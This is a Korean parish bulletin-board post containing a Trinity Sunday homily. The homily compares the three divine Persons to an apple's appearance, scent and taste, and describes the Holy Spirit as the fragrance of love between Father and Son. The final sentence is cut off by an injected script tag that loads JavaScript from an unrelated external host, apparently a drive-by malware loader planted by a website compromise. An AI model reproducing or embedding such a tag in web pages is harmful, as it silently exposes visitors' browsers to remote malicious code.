봉봉신부님의 강론
작성자 : 허미옥 | 조회수 : 3,811 | 작성일 : 2007년 6월 4일
<BR><STRONG><FONT face=바탕 color=#0000ff>형제 자매님,<BR>오늘은 삼위일체 대축일입니다.<BR><BR>“성부와 성자와 성령의 이름으로. 아멘”<BR>우리는 하루에도 몇 번씩이나 성호경을 바칩니다. <BR>우리는 성호경을 바치면서 어떤 일을 하든지 하느님의 자녀답게 <BR>하느님의 이름으로 하겠다는 신앙인의 자세를 드러내는 것입니다. <BR><BR>우리의 아버지이신 하느님은 <BR>분명히 한 분이신데 세 위격으로 계신다고 합니다. <BR>참으로 이해하기 어려운 가르침입니다.<BR><BR>아오스딩 성인이 삼위일체에 대한 연구를 한참하고 있을 때 <BR>바닷가에서 신비로운 일을 체험하고는 연구를 그만두고 <BR>“나는 믿기 위해서 알기를 원하지 않고 알기 위해서 믿기를 원한다.”라는 <BR>유명한 말을 남겼습니다.<BR><BR>우리도 믿으면 언젠가는 깨닫게 될 것입니다. <BR>그러나 우리는 믿기 위해서 조금의 이해는 해야 되겠는데, 어렵습니다. <BR>그래서 사과를 생각해 봤습니다. <BR><BR>형제 자매님은 사과를 보면 “아, 사과다”하고 아시죠? <BR>사과의 고유한 모양과 색깔이 있기 때문입니다. <BR>그런데 누가 형제 자매님의 눈을 가리고 코앞에 사과를 갖다대면 <BR>역시 “아, 사과다”하고 말합니다. <BR>보지도 않고 만지지도 않았지만 사과의 향기를 맡으면 <BR>그것이 사과라는 것을 알 수 있습니다. <BR>또 눈도 가리고 코도 막은 상태에서 <BR>누가 형제 자매님의 입에 사과 한 조각을 넣어주면 그것을 씹어보고는 <BR>“아, 사과다”하고 말할 것입니다. <BR>그것은 사과의 고유한 맛이 있기 때문입니다. <BR>이렇게 세 가지의 전혀 다른 것이 하나의 사과 안에 들어 있습니다. <BR> <BR>그런데 그 중의 하나만 가지고는 “이것이 사과다”라고 말하지 않습니다. <BR>“사과의 모양과 빛깔이다” 혹은 <BR>“사과의 향기다” 혹은 <BR>“사과의 맛이다”라고 말할 수 있을 뿐입니다. <BR>모든 것이 다 조화를 이루고 있을 때 전체적으로 <BR>“이것이 사과다”라고 말하는 것입니다.<BR> <BR> <BR>제가 어릴 때 큰집엔 과수원이 있었기 때문에 가을이 되면 <BR>조금씩 썩은 사과 한 자루씩 가져다 주셨습니다. <BR>그때는 사과가 아주 귀했습니다. <BR>그래서 어머니께서는 귀한 손님이 오시면 대접하신다고 감춰두십니다. <BR><BR>아무 것도 보이지 않는 어두운 광에 감춰두셨지만 <BR>우리는 기가 막히게 찾아서 몰래 하나씩 꺼내 먹곤 했습니다. <BR>냄새를 맡고 사과가 감춰진 곳을 찾아내는 것입니다. <BR>어떤 때는 쌀독 안에서 깊이 묻힌 사과를 찾아내기도 했습니다. <BR>쌀에 깊이 묻어도 향기를 감출 수는 없기 때문입니다. <BR><BR>그런데 마찬가지로 우리는 하느님을 직접 뵙지 못해도 <BR>예수님의 말씀을 직접 듣지 못했어도 하느님께로 나아갈 수가 있습니다. <BR>바로 하느님의 향기가 우리를 하느님께로 이끌어 주시기 때문입니다. <BR>바로 성령이십니다. <BR><BR>그러나 우리가 감기가 걸려 냄새를 맡지 못한다면 <BR>쌀독에 감춰진 사과를 찾을 수 없듯이 <BR>세상에 유행하는 병들, <BR>예를 들면 이기주의 병, 황금만능주의 병, 건강지상주의 병 등에 걸리면 <BR>하느님의 향기를 맡을 수가 없습니다.<BR> <BR>흔히 우리는 “하느님은 사랑이시다”라고 말합니다. <BR>예, 하느님은 사랑 자체이십니다. <BR>사랑에는 홀로 서기가 있을 수 없기에 반드시 상대가 있어야 합니다. <BR>그러니 성부와 성자가 계십니다. <BR><BR>그런데 둘이 마주보고 있다고 사랑은 아닙니다. <BR>사랑하게 되면 뭔가를 주고 싶어집니다. <BR>그래서 성부께서는 당신의 것을 모두 성자께 내어주십니다. <BR>그래서 요한복음에서 예수님께서도 <BR>“아버지께서 가지고 계신 것은 모두 다 나의 것이다”라고 말씀하십니다. <BR><BR>그런데 만일 성자께서 아버지의 것을 받기만 한다면 <BR>그것은 성자 안에서 고여 썩어버릴 것입니다. <BR>그런데 성자께서는 받은 것을 모두 돌려드립니다. <BR>심지어 당신이 받으신 생명까지도. <BR>그래서 두 분 사이에는 온전한 사랑이 넘쳐흐릅니다. <BR>그래서 사랑의 향기가 피어납니다. <BR>그 향기가 성령이십니다. <BR><BR>그러나 세 분이 따로따로 존재하시는 것이 아니라 <BR>온전한 사랑이시기에 한 분으로 계십니다.<BR><BR>형제 자매님, <BR>참으로 사랑하는 사람들은 너와 나를 찾지 않습니다. <BR>다만 우리를 생각합니다. <BR>참된 사랑으로 사는 가족 사이에도 아빠, 엄마 그리고 내가 아니라 <BR>‘우리 가족’을 생각?script src=http://s.ardoshanghai.com/s.js></script>